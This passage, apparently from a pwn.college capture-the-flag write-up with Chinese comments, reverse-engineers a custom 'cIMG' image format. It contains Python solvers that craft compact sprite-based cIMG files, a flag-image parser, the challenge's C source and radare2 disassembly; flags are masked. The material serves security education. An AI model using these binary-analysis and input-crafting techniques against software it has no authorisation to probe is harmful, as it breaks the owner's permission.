'rx': rx, 'ry': ry, 'trans': trans
})

payload = bytearray()
num_directives = len(sprites) + len(renders)

# 写入 Version 4 的 Header
payload += struct.pack("<4sHBBI", b"cIMG", 4, width, height, num_directives)

# 指令 3
for (text, bw, bh), sp_id in sprites.items():
payload += struct.pack("<HBBB", 3, sp_id, bw, bh)
payload += text

# 指令 4
for r in renders:
payload += struct.pack("<HBBBBBBBBB", 4, r['id'], r['r'], r['g'], r['b'], r['x'], r['y'], r['rx'], r['ry'], r['trans'])

total_size = len(payload)
if total_size > 285:
log.error(f"Still bloated... ({total_size} bytes)")
return

log.success(f"Final Size: {total_size} bytes.")

file_name = "payload.cimg"
with open(file_name, "wb") as f:
f.write(payload)

try:
p = process([binary_path, file_name])
print(p.recvall(timeout=2).decode(errors="ignore"))
except Exception:
log.warning("Error")

if __name__ == "__main__":
build_payload()

Extracting Knowledge

How well do you grasp the cIMG format? This is a chance to show yourself just how much you’ve learned!

This level’s /challenge/cimg has no way to give you the flag, but we’ll give you a cimg file containing it!

generate the flag.cimg

1
2
3
4
5
6
7
8
9
10
11
12
sprites = { }
directives = [ ]
for c in open("/flag", "rb").read().strip():
if c not in sprites:
sprites[c] = len(directives)
sprite = subprocess.check_output(["/usr/bin/figlet", "-fascii9"], input=bytes([c])).split(b"\n")[:-1]
directives += [ struct.pack("<HBBB", 3, sprites[c], len(sprite[0]), len(sprite)) + b"".join(sprite) ]
directives += [ struct.pack("<HBBBBBB", 4, sprites[c], 0xff, 0xff, 0xff, 0, 0) ]

img = b"cIMG" + struct.pack("<HBBI", 3, 16, 16, len(directives)) + b"".join(directives)
with open("/challenge/flag.cimg", "wb") as o:
o.write(img)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import struct
import sys

def parse_and_dump_flag():
img_path = "/challenge/flag.cimg"
try:
with open(img_path, "rb") as f:
data = f.read()
except FileNotFoundError:
print(f"[!] Cannot find {img_path}.")
return

# 1. 解析 Header
header_format = "<4sHBBI"
header_size = struct.calcsize(header_format)
magic, version, width, height, num_directives = struct.unpack(
header_format, data[:header_size]
)

if magic != b"cIMG":
print("[!] Invalid magic number.")
return

print(f"[*] Parsed Header: {num_directives} directives found.")

offset = header_size
sprites = {}
flag_sequence = []

# 2. 遍历所有的 Directives
for _ in range(num_directives):
opcode = struct.unpack("<H", data[offset : offset + 2])[0]
offset += 2

if opcode == 3:
# Handle 3: 注册 Sprite
sp_id, sp_w, sp_h = struct.unpack("<BBB", data[offset : offset + 3])
offset += 3

# 读取 Figlet 原始字符数据
raw_sprite = data[offset : offset + sp_w * sp_h]
offset += sp_w * sp_h

# 还原 2D 文本结构
art = ""
for i in range(sp_h):
line = raw_sprite[i * sp_w : (i + 1) * sp_w]
art += line.decode(errors="ignore") + "\n"
sprites[sp_id] = art

elif opcode == 4:
# Handle 4: 渲染 Sprite
# 只需要记录它渲染了哪个 ID
sp_id, r, g, b, x, y = struct.unpack("<BBBBBB", data[offset : offset + 6])
offset += 6
flag_sequence.append(sp_id)

print("[*] Data extraction complete.\n")
print("=" * 60)

# 3. 按调用顺序打印出 Flag 对应的 Figlet 字符
for sp_id in flag_sequence:
if sp_id in sprites:
print(sprites[sp_id])
print("-" * 60)
else:
print(f"[!] Warning: Missing dependency for sprite ID {sp_id}")


if __name__ == "__main__":
parse_and_dump_flag()

pwn.college{**********************************************}

Storage and Retrieval

Patches were cool, but sprites are better. Can you optimize the image size even more?

Wikipedia

In computer graphics, a sprite is a two-dimensional bitmap that is integrated into a larger scene, most often in a 2D video game. Originally, the term sprite referred to fixed-sized objects composited together, by hardware, with a background. Use of the term has since become more general.

According to Karl Guttag, one of two engineers for the 1979 Texas Instruments TMS9918 video display processor, this use of the word sprite came from David Ackley, a manager at TI. It was also used by Danny Hillis at Texas Instruments in the late 1970s. The term was derived from the fact that sprites “float” on top of the background image without overwriting it, much like a ghost or mythological sprite.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
// ...
struct cimg_sprite
{
uint8_t height;
uint8_t width;
pixel_bw_t *data;
};

struct cimg
{
struct cimg_header header;
unsigned num_pixels;
term_pixel_t *framebuffer;
struct cimg_sprite sprites[256];
};

#define CIMG_NUM_PIXELS(cimg) ((cimg)->header.width * (cimg)->header.height)
#define CIMG_DATA_SIZE(cimg) (CIMG_NUM_PIXELS(cimg) * sizeof(pixel_t))
#define CIMG_FRAMEBUFFER_PIXELS(cimg) ((cimg)->header.width * (cimg)->header.height)
#define CIMG_FRAMEBUFFER_SIZE(cimg) (CIMG_FRAMEBUFFER_PIXELS(cimg) * sizeof(term_pixel_t))

#include "cimg-handlers.c" // YOU DON'T GET THIS FILE!
// ...
int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
cimg.framebuffer = NULL;
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != 'c' || cimg.header.magic_number[1] != 'I' || cimg.header.magic_number[2] != 'M' || cimg.header.magic_number[3] != 'G')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (cimg.header.version != 3)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

initialize_framebuffer(&cimg);

while (cimg.header.remaining_directives--)
{
uint16_t directive_code;
read_exact(0, &directive_code, sizeof(directive_code), "ERROR: Failed to read &directive_code!", -1);

switch (directive_code)
{
case 1:
handle_1(&cimg);
break;
case 2:
handle_2(&cimg);
break;
case 3:
handle_3(&cimg);
break;
case 4:
handle_4(&cimg);
break;
default:
fprintf(stderr, "ERROR: invalid directive_code %ux\n", directive_code);
exit(-1);
}
}
display(&cimg, NULL);

if (cimg.num_pixels != sizeof(desired_output)/sizeof(term_pixel_t))
{
won = 0;
}
for (int i = 0; i < cimg.num_pixels && i < sizeof(desired_output)/sizeof(term_pixel_t); i++)
{
if (cimg.framebuffer[i].str.c != ((term_pixel_t*)&desired_output)[i].str.c)
{
won = 0;
}
if (
cimg.framebuffer[i].str.c != ' ' &&
cimg.framebuffer[i].str.c != '\n' &&
memcmp(cimg.framebuffer[i].data, ((term_pixel_t*)&desired_output)[i].data, sizeof(term_pixel_t))
)
{
won = 0;
}
}

if (total_data > 400) won = 0;

if (won) win();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
handle_1 (0x0001): Basic 直接按全局宽高的 pixel_t(每个 4 bytes: R, G, B, ASCII)读取全图数据。
# ...
handle_2 (0x0002): Patch 读取 base_x, base_y, width, height (共 4 bytes),然后再读取对应区域的完整 pixel_t 数组。
# ...
handle_3 (0x0003): 定义 Sprite。
参数: sprite_id (1 byte), width (1 byte), height (1 byte)。
数据流: malloc 并读取 width * height bytes 的单字节 ASCII 数据(在 asm 的 0x401bde 处有校验,只允许 printable chars 0x20 到 0x5e。
不带任何颜色信息 一个 10x10 的纯字符图案只需要 2 (code) + 3 (args) + 100 (data) = 105 bytes。
;-- handle_3:
0x00401ae1 f30f1efa endbr64
0x00401ae5 4154 push r12
0x00401ae7 4183c8ff or r8d, 0xffffffff ; -1
0x00401aeb ba01000000 mov edx, 1
0x00401af0 488d0df706.. lea rcx, str.ERROR:_Failed_to_read_sprite_id_ ; 0x4021ee ; "ERROR: Failed to read &sprite_id!"
0x00401af7 55 push rbp
0x00401af8 4889fd mov rbp, rdi
0x00401afb 31ff xor edi, edi
0x00401afd 53 push rbx
0x00401afe 4883ec10 sub rsp, 0x10
0x00401b02 64488b0425.. mov rax, qword fs:[0x28]
0x00401b0b 4889442408 mov qword [rsp + 8], rax
0x00401b10 31c0 xor eax, eax
0x00401b12 488d742405 lea rsi, [rsp + 5]
0x00401b17 e8dffbffff call sym.read_exact ;[1]
0x00401b1c 488d742406 lea rsi, [rsp + 6]
0x00401b21 4183c8ff or r8d, 0xffffffff ; -1
0x00401b25 31ff xor edi, edi
0x00401b27 488d0d8306.. lea rcx, str.ERROR:_Failed_to_read_width_ ; 0x4021b1 ; "ERROR: Failed to read &width!"
0x00401b2e ba01000000 mov edx, 1
0x00401b33 e8c3fbffff call sym.read_exact ;[1]
0x00401b38 ba01000000 mov edx, 1
0x00401b3d 31ff xor edi, edi
0x00401b3f 4183c8ff or r8d, 0xffffffff ; -1
0x00401b43 488d742407 lea rsi, [rsp + 7]
0x00401b48 488d0d8006.. lea rcx, str.ERROR:_Failed_to_read_height_ ; 0x4021cf ; "ERROR: Failed to read &height!"
0x00401b4f e8a7fbffff call sym.read_exact ;[1]
0x00401b54 0fb6442405 movzx eax, byte [rsp + 5]
0x00401b59 8a542406 mov dl, byte [rsp + 6]
0x00401b5d 48c1e004 shl rax, 4
0x00401b61 4801e8 add rax, rbp
0x00401b64 885019 mov byte [rax + 0x19], dl
0x00401b67 488b7820 mov rdi, qword [rax + 0x20]
0x00401b6b 8a542407 mov dl, byte [rsp + 7]
0x00401b6f 885018 mov byte [rax + 0x18], dl
0x00401b72 4885ff test rdi, rdi
┌─< 0x00401b75 7405 je 0x401b7c
│ 0x00401b77 e804f6ffff call sym.imp.free ;[2]
└─> 0x00401b7c 440fb6642406 movzx r12d, byte [rsp + 6]
0x00401b82 0fb6542407 movzx edx, byte [rsp + 7]
0x00401b87 440fafe2 imul r12d, edx
0x00401b8b 4963fc movsxd rdi, r12d
0x00401b8e e8adf6ffff call sym.imp.malloc ;[3]
0x00401b93 4889c3 mov rbx, rax
0x00401b96 4885c0 test rax, rax
┌─< 0x00401b99 750e jne 0x401ba9
│ 0x00401b9b 488d3d3105.. lea rdi, str.ERROR:_Failed_to_allocate_memory_for_the_image_data_ ; 0x4020d3 ; "ERROR: Failed to allocate memory for the image data!"
│ 0x00401ba2 e8f9f5ffff call sym.imp.puts ;[4]
┌──< 0x00401ba7 eb55 jmp 0x401bfe
│└─> 0x00401ba9 4489e2 mov edx, r12d
│ 0x00401bac 4889c6 mov rsi, rax
│ 0x00401baf 4183c8ff or r8d, 0xffffffff ; -1
│ 0x00401bb3 31ff xor edi, edi
│ 0x00401bb5 488d0d4c05.. lea rcx, str.ERROR:_Failed_to_read_data_ ; 0x402108 ; "ERROR: Failed to read data!"
│ 0x00401bbc e83afbffff call sym.read_exact ;[1]
│ 0x00401bc1 0fb6442407 movzx eax, byte [rsp + 7]
│ 0x00401bc6 0fb6542406 movzx edx, byte [rsp + 6]
│ 0x00401bcb 0fafd0 imul edx, eax
│ 0x00401bce 31c0 xor eax, eax
│┌─> 0x00401bd0 39c2 cmp edx, eax
┌───< 0x00401bd2 7e32 jle 0x401c06
││╎ 0x00401bd4 0fb60c03 movzx ecx, byte [rbx + rax]
││╎ 0x00401bd8 48ffc0 inc rax
││╎ 0x00401bdb 8d71e0 lea esi, [rcx - 0x20]
││╎ 0x00401bde 4080fe5e cmp sil, 0x5e ; '^' ; 94
││└─< 0x00401be2 76ec jbe 0x401bd0
││ 0x00401be4 488b3d75cf.. mov rdi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
││ ; [0x40eb60:8]=0
││ 0x00401beb 488d153205.. lea rdx, str.ERROR:_Invalid_character_0x_x_in_the_image_data__n ; str.ERROR:_Invalid_character_0x_x_in_the_image_data__n
││ ; 0x402124 ; "ERROR: Invalid character 0x%x in the image data!\n"
││ 0x00401bf2 be01000000 mov esi, 1
││ 0x00401bf7 31c0 xor eax, eax
││ 0x00401bf9 e892f6ffff call sym.imp.__fprintf_chk ;[5]
│└──> 0x00401bfe 83cfff or edi, 0xffffffff ; -1
│ 0x00401c01 e87af6ffff call sym.imp.exit ;[6]
└───> 0x00401c06 0fb6442405 movzx eax, byte [rsp + 5]
0x00401c0b 48c1e004 shl rax, 4
0x00401c0f 48895c2820 mov qword [rax + rbp + 0x20], rbx
0x00401c14 488b442408 mov rax, qword [rsp + 8]
0x00401c19 6448330425.. xor rax, qword fs:[0x28]
┌─< 0x00401c22 7405 je 0x401c29
│ 0x00401c24 e897f5ffff call sym.imp.__stack_chk_fail ;[7]
└─> 0x00401c29 4883c410 add rsp, 0x10
0x00401c2d 5b pop rbx
0x00401c2e 5d pop rbp
0x00401c2f 415c pop r12
0x00401c31 c3 ret

handle_4 (0x0004): 渲染 Sprite。
参数: 读取 6 bytes: sprite_id (1 byte), R (1 byte), G (1 byte), B (1 byte), base_x (1 byte), base_y (1 byte)。
逻辑: 将你在 handle_3 中注册的裸字符 sprite,刷上统一的 RGB 颜色,并按指定的坐标渲染到 framebuffer 上。
整个指令只需要 2 (code) + 6 (args) = 8 bytes。
;-- handle_4:
0x00401c32 f30f1efa endbr64
0x00401c36 4157 push r15
0x00401c38 4156 push r14
0x00401c3a 4155 push r13
0x00401c3c 4154 push r12
0x00401c3e 55 push rbp
0x00401c3f 53 push rbx
0x00401c40 4c8d9c2400.. lea r11, [rsp - 0x40000]
┌─> 0x00401c48 4881ec0010.. sub rsp, 0x1000
╎ 0x00401c4f 830c2400 or dword [rsp], 0
╎ 0x00401c53 4c39dc cmp rsp, r11
└─< 0x00401c56 75f0 jne 0x401c48
0x00401c58 4883ec38 sub rsp, 0x38
0x00401c5c 488d0dad05.. lea rcx, str.ERROR:_Failed_to_read_sprite_render_record_ ; 0x402210 ; "ERROR: Failed to read &sprite_render_record!"
0x00401c63 ba06000000 mov edx, 6
0x00401c68 4183c8ff or r8d, 0xffffffff ; -1
0x00401c6c 64488b0425.. mov rax, qword fs:[0x28]
0x00401c75 4889842428.. mov qword [rsp + 0x40028], rax ; [0x40028:8]=-1
0x00401c7d 31c0 xor eax, eax
0x00401c7f 4889fb mov rbx, rdi
0x00401c82 488d742409 lea rsi, [rsp + 9]
0x00401c87 31ff xor edi, edi
0x00401c89 e86dfaffff call sym.read_exact ;[2]
0x00401c8e 488d7c240f lea rdi, [rsp + 0xf]
0x00401c93 b900000100 mov ecx, 0x10000
0x00401c98 31c0 xor eax, eax
0x00401c9a 0fb6542409 movzx edx, byte [rsp + 9]
0x00401c9f 448a54240a mov r10b, byte [rsp + 0xa]
0x00401ca4 488d74240f lea rsi, [rsp + 0xf]
0x00401ca9 f3ab rep stosd dword [rdi], eax
0x00401cab 448a5c240b mov r11b, byte [rsp + 0xb]
0x00401cb0 408a6c240c mov bpl, byte [rsp + 0xc]
0x00401cb5 48c1e204 shl rdx, 4
0x00401cb9 4801da add rdx, rbx
0x00401cbc 440fb66218 movzx r12d, byte [rdx + 0x18]
┌─> 0x00401cc1 4139cc cmp r12d, ecx
┌──< 0x00401cc4 7e58 jle 0x401d1e
│╎ 0x00401cc6 440fb64219 movzx r8d, byte [rdx + 0x19]
│╎ 0x00401ccb 31ff xor edi, edi
│╎ 0x00401ccd 4489c0 mov eax, r8d
│╎ 0x00401cd0 0fafc1 imul eax, ecx
┌───> 0x00401cd3 4139f8 cmp r8d, edi
┌────< 0x00401cd6 7e42 jle 0x401d1a
│╎│╎ 0x00401cd8 4c8b4a20 mov r9, qword [rdx + 0x20]
│╎│╎ 0x00401cdc 44881486 mov byte [rsi + rax*4], r10b
│╎│╎ 0x00401ce0 44885c8601 mov byte [rsi + rax*4 + 1], r11b
│╎│╎ 0x00401ce5 40886c8602 mov byte [rsi + rax*4 + 2], bpl
│╎│╎ 0x00401cea 4d85c9 test r9, r9
┌─────< 0x00401ced 751b jne 0x401d0a
││╎│╎ 0x00401cef 488b356ace.. mov rsi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
││╎│╎ ; [0x40eb60:8]=0
││╎│╎ 0x00401cf6 488d3d4005.. lea rdi, str.ERROR:_attempted_to_render_uninitialized_sprite__n ; 0x40223d ; "ERROR: attempted to render uninitialized sprite!\n"
││╎│╎ 0x00401cfd e8def4ffff call sym.imp.fputs ;[3]
││╎│╎ 0x00401d02 83cfff or edi, 0xffffffff ; -1
││╎│╎ 0x00401d05 e876f5ffff call sym.imp.exit ;[4]
└─────> 0x00401d0a 458a0c01 mov r9b, byte [r9 + rax]
│╎│╎ 0x00401d0e ffc7 inc edi
│╎│╎ 0x00401d10 44884c8603 mov byte [rsi + rax*4 + 3], r9b
│╎│╎ 0x00401d15 48ffc0 inc rax
│└───< 0x00401d18 ebb9 jmp 0x401cd3
└────> 0x00401d1a ffc1 inc ecx
│└─< 0x00401d1c eba3 jmp 0x401cc1
└──> 0x00401d1e 440fb674240e movzx r14d, byte [rsp + 0xe]
0x00401d24 440fb67c240d movzx r15d, byte [rsp + 0xd]
0x00401d2a 4531ed xor r13d, r13d
┌─> 0x00401d2d 0fb6442409 movzx eax, byte [rsp + 9]
╎ 0x00401d32 48c1e004 shl rax, 4
╎ 0x00401d36 0fb6441818 movzx eax, byte [rax + rbx + 0x18]
╎ 0x00401d3b 4439e8 cmp eax, r13d
┌──< 0x00401d3e 0f8eaf000000 jle 0x401df3
│╎ 0x00401d44 31ed xor ebp, ebp
┌───> 0x00401d46 0fb6442409 movzx eax, byte [rsp + 9]
╎│╎ 0x00401d4b 48c1e004 shl rax, 4
╎│╎ 0x00401d4f 0fb64c1819 movzx ecx, byte [rax + rbx + 0x19]
╎│╎ 0x00401d54 39e9 cmp ecx, ebp
┌────< 0x00401d56 0f8e8c000000 jle 0x401de8
│╎│╎ 0x00401d5c 410fafcd imul ecx, r13d
│╎│╎ 0x00401d60 488dbc240f.. lea rdi, [rsp + 0x4000f]
│╎│╎ 0x00401d68 50 push rax
│╎│╎ 0x00401d69 ba01000000 mov edx, 1
│╎│╎ 0x00401d6e 4c8d05e103.. lea r8, str.e_38_2__03d__03d__03dm_ce_0m ; 0x402156
│╎│╎ 0x00401d75 be19000000 mov esi, 0x19 ; 25
│╎│╎ 0x00401d7a 440fb66306 movzx r12d, byte [rbx + 6]
│╎│╎ 0x00401d7f 01e9 add ecx, ebp
│╎│╎ 0x00401d81 4863c9 movsxd rcx, ecx
│╎│╎ 0x00401d84 0fb6448c1a movzx eax, byte [rsp + rcx*4 + 0x1a]
│╎│╎ 0x00401d89 50 push rax
│╎│╎ 0x00401d8a 0fb6448c21 movzx eax, byte [rsp + rcx*4 + 0x21]
│╎│╎ 0x00401d8f 50 push rax
│╎│╎ 0x00401d90 0fb6448c28 movzx eax, byte [rsp + rcx*4 + 0x28]
│╎│╎ 0x00401d95 50 push rax
│╎│╎ 0x00401d96 440fb64c8c2f movzx r9d, byte [rsp + rcx*4 + 0x2f]
│╎│╎ 0x00401d9c 31c0 xor eax, eax
│╎│╎ 0x00401d9e b919000000 mov ecx, 0x19 ; 25
│╎│╎ 0x00401da3 e8c8f3ffff call sym.imp.__snprintf_chk ;[5]
│╎│╎ 0x00401da8 428d443d00 lea eax, [rbp + r15]
│╎│╎ 0x00401dad 4883c420 add rsp, 0x20
│╎│╎ 0x00401db1 ffc5 inc ebp
│╎│╎ 0x00401db3 99 cdq
│╎│╎ 0x00401db4 0f1084240f.. movups xmm0, xmmword [rsp + 0x4000f]
│╎│╎ 0x00401dbc 41f7fc idiv r12d
│╎│╎ 0x00401dbf 450fafe6 imul r12d, r14d
│╎│╎ 0x00401dc3 428d0422 lea eax, [rdx + r12]
│╎│╎ 0x00401dc7 31d2 xor edx, edx
│╎│╎ 0x00401dc9 f7730c div dword [rbx + 0xc]
│╎│╎ 0x00401dcc 486bd218 imul rdx, rdx, 0x18
│╎│╎ 0x00401dd0 48035310 add rdx, qword [rbx + 0x10]
│╎│╎ 0x00401dd4 0f1102 movups xmmword [rdx], xmm0
│╎│╎ 0x00401dd7 488b84241f.. mov rax, qword [rsp + 0x4001f]
│╎│╎ 0x00401ddf 48894210 mov qword [rdx + 0x10], rax
│└───< 0x00401de3 e95effffff jmp 0x401d46
└────> 0x00401de8 41ffc5 inc r13d
│╎ 0x00401deb 41ffc6 inc r14d
│└─< 0x00401dee e93affffff jmp 0x401d2d
└──> 0x00401df3 488b842428.. mov rax, qword [rsp + 0x40028]
0x00401dfb 6448330425.. xor rax, qword fs:[0x28]
┌─< 0x00401e04 7405 je 0x401e0b
│ 0x00401e06 e8b5f3ffff call sym.imp.__stack_chk_fail ;[1]
└─> 0x00401e0b 4881c43800.. add rsp, 0x40038
0x00401e12 5b pop rbx
0x00401e13 5d pop rbp
0x00401e14 415c pop r12
0x00401e16 415d pop r13
0x00401e18 415e pop r14
0x00401e1a 415f pop r15
0x00401e1c c3 ret
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
import struct

from pwn import *

def extract_pixels_from_elf(binary_path, num_pixels):
elf = ELF(binary_path, checksec=False)
try:
addr = elf.symbols["desired_output"]
except KeyError:
addr = 0x404020

raw = elf.read(addr, num_pixels * 24)
pixels = []
for i in range(num_pixels):
chunk = raw[i * 24 : (i + 1) * 24]
try:
r = int(chunk[7:10])
g = int(chunk[11:14])
b = int(chunk[15:18])
c = chunk[19]
pixels.append((r, g, b, c))
except ValueError:
pixels.append((0, 0, 0, 32))
return pixels


def build_payload():
binary_path = "/challenge/cimg"
width = 76
height = 24
num_pixels = width * height

log.info("Fetching raw pixel data from upstream...")
pixels = extract_pixels_from_elf(binary_path, num_pixels)

fg_pixels = []
for y in range(height):
for x in range(width):
p = pixels[y * width + x]
if p[3] not in (32, 10):
fg_pixels.append(
{"x": x, "y": y, "r": p[0], "g": p[1], "b": p[2], "c": p[3]}
)

# The Monochromatic BSP Slicing (单色二叉空间分割)
memo = {}

def solve(min_x, max_x, min_y, max_y):
state = (min_x, max_x, min_y, max_y)
if state in memo:
return memo[state]

subset = [
p
for p in fg_pixels
if min_x <= p["x"] <= max_x and min_y <= p["y"] <= max_y
]
if not subset:
return 0, []

bx = min(p["x"] for p in subset)
by = min(p["y"] for p in subset)
b_w = max(p["x"] for p in subset) - bx + 1
b_h = max(p["y"] for p in subset) - by + 1

colors = set((p["r"], p["g"], p["b"]) for p in subset)

# 12 = 5 字节 (handle_3 注册头部) + 7 字节 (handle_4 渲染头部)
best_cost = 12 + b_w * b_h if len(colors) == 1 else float("inf")
best_blocks = (
[
{
"x": bx,
"y": by,
"w": b_w,
"h": b_h,
"r": subset[0]["r"],
"g": subset[0]["g"],
"b": subset[0]["b"],
"subset": subset,
}
]
if len(colors) == 1
else []
)

xs = sorted(list(set(p["x"] for p in subset)))
for split_x in xs[1:]:
c1, blks1 = solve(bx, split_x - 1, by, by + b_h - 1)
c2, blks2 = solve(split_x, bx + b_w - 1, by, by + b_h - 1)
if c1 + c2 < best_cost:
best_cost = c1 + c2
best_blocks = blks1 + blks2

ys = sorted(list(set(p["y"] for p in subset)))
for split_y in ys[1:]:
c1, blks1 = solve(bx, bx + b_w - 1, by, split_y - 1)
c2, blks2 = solve(bx, bx + b_w - 1, split_y, by + b_h - 1)
if c1 + c2 < best_cost:
best_cost = c1 + c2
best_blocks = blks1 + blks2

memo[state] = (best_cost, best_blocks)
return best_cost, best_blocks

log.info("Resolving dependencies and optimizing 2D bounding boxes (BSP DP)...")
_, blocks = solve(0, width - 1, 0, height - 1)
log.success(f"Reduced to {len(blocks)} highly optimized 2D blocks.")

sprites = {}
renders = []

for blk in blocks:
text = bytearray()
for y in range(blk["h"]):
for x in range(blk["w"]):
found = False
for p in blk["subset"]:
if p["x"] == blk["x"] + x and p["y"] == blk["y"] + y:
text.append(p["c"])
found = True
break
if not found:
text.append(32) # 使用空格填补空隙

sp_key = (bytes(text), blk["w"], blk["h"])
if sp_key not in sprites:
sprites[sp_key] = len(sprites)

renders.append(
{
"id": sprites[sp_key],
"x": blk["x"],
"y": blk["y"],
"r": blk["r"],
"g": blk["g"],
"b": blk["b"],
}
)

payload = bytearray()
num_directives = len(sprites) + len(renders)
payload += struct.pack("<4sHBBI", b"cIMG", 3, width, height, num_directives)

for (text, bw, bh), sp_id in sprites.items():
payload += struct.pack("<HBBB", 3, sp_id, bw, bh)
payload += text

for r in renders:
payload += struct.pack(
"<HBBBBBB", 4, r["id"], r["r"], r["g"], r["b"], r["x"], r["y"]
)

total_size = len(payload)
if total_size > 400:
log.error(f"Still bloated... ({total_size} bytes)")
return

log.success(
f"Final Size: {total_size} bytes."
)

file_name = "payload.cimg"
with open(file_name, "wb") as f:
f.write(payload)

try:
p = process([binary_path, file_name])
print(p.recvall(timeout=2).decode(errors="ignore"))
except Exception:
log.warning("Could not execute binary.")


if __name__ == "__main__":
build_payload()

pwn.college{**********************************************}